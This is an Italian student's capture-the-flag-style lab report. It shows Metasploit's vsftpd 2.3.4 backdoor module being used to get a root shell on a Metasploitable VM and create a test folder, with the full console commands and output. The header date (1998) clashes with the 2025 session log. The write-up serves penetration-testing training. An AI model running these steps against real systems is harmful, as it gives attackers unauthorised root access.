

Hacking con Metasploit

20/01/1998

Traccia dell'Esercizio

Dettagli dell'Attività

Configurazione dell'Indirizzo IP L'unica differenza rispetto all'esercizio svolto in classe sarà l'indirizzo IP della vostra macchina Metasploitable. Configurate l'indirizzo come segue:

192.168.1.149/24

1. Svolgimento dell'Attacco Utilizzando Metasploit, eseguite una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable.
2. Creazione di una Cartella Una volta ottenuta l'accesso alla macchina Metasploitable, navigate fino alla directory di root (/) e create una cartella chiamata test_metasploit utilizzando il comando mkdir.

Svolgimento

Ho cambiato l'indirizzo IP della macchina metasploitable come richiesto:

```
GNU nano 2.0.7      File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.60.2
netmask 255.255.255.0
network 192.168.60.0
gateway 192.168.60.1
broadcast 192.168.60.255
```

```
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
gateway 192.168.1.1
broadcast 192.168.1.255
```

Di conseguenza ho cambiato anche l'ip di kali per farle comunicare



Poi ho pingato le macchine per vedere se comunicavano:

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ ping 192.168.1.149  
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.  
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=3.70 ms  
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=1.69 ms  
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=2.50 ms  
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=2.33 ms  
^C  
— 192.168.1.149 ping statistics —  
4 packets transmitted, 4 received, 0% packet loss, time 3004ms  
rtt min/avg/max/mdev = 1.689/2.555/3.701/0.727 ms
```

```
msfadmin@metasploitable:~$ ping 192.168.1.50
PING 192.168.1.50 (192.168.1.50) 56(84) bytes of data:
64 bytes from 192.168.1.50: icmp_seq=1 ttl=64 time=1.78 ms
64 bytes from 192.168.1.50: icmp_seq=2 ttl=64 time=1.48 ms
64 bytes from 192.168.1.50: icmp_seq=3 ttl=64 time=1.84 ms
64 bytes from 192.168.1.50: icmp_seq=4 ttl=64 time=1.61 ms

--- 192.168.1.50 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 1.487/1.683/1.845/0.140 ms
```

Ora che comunicano posso procedere con la configurazione dell'attacco:

Tramite il terminale i kali entriamo in Metasploit nella sua console di comando. -----> **msfconsole**

[illegible]

Con il comando <search> andiamo a cercare tutti i moduli relativi al servizio <vsftpd> presenti nel database:

```
msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Desc
--  --                                     -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFT
PD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No      VSFT
PD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/u
nix/ftp/vsftpd_234_backdoor

msf6 >
msf6 > |
```

Utilizzeremo la backdoor; diamo il comando <use> con il modulo scelto, in questo caso il numero 1.

```
msf6 >
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > |
```

Ora siamo dentro l'exploit, diamo il comando <show options> per vedere cosa dobbiamo modificare:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT            yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic
```

Come vediamo manca l'indirizzo ip della macchina target (metasploitable), lo andiamo a mettere con il comando <set rhost 192.168.1.149>

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.1.149
rhost => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies     Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.149   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic
```

Ora andiamo a configurare il payload, i comandi da eseguire sono gli stessi per l'exploit:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

  #  Name                                     Disclosure Date  Rank  Check  Description
  --  --
  0  payload/cmd/unix/interact .                normal  No     Unix Command, Interact with Established Connection
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload 0
payload => cmd/unix/interact
```

Lanciamo l'attacco:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.50:41873 -> 192.168.1.149:6200) at 2025-01-20 08:39:51 -0500
```

Ora siamo dentro la shell e possiamo creare la cartella come richiesto dalla consegna:

```
pwd
/  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
tmp  
usr  
var  
vmlinuz  
mkdir test_metasploit
```

Controlliamo che abbia creato correttamente la cartella:

```
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
test_metasploit  
tmp  
usr  
var  
vmlinuz
```

Facciamo la prova su metasploitable per verificare se si vede la cartella creata:

```
msfadmin@metasploitable:~$  
msfadmin@metasploitable:~$ pwd  
/home/msfadmin  
msfadmin@metasploitable:~$ cd /  
msfadmin@metasploitable:/$ ls  
bin      dev      initrd    lost+found  nohup.out  root  sys      usr  
boot     etc      initrd.img  media      opt        sbin  test_metasploit  var  
cdrom    home     lib        mnt        proc       srv   tmp      vmlinuz  
msfadmin@metasploitable:/$
```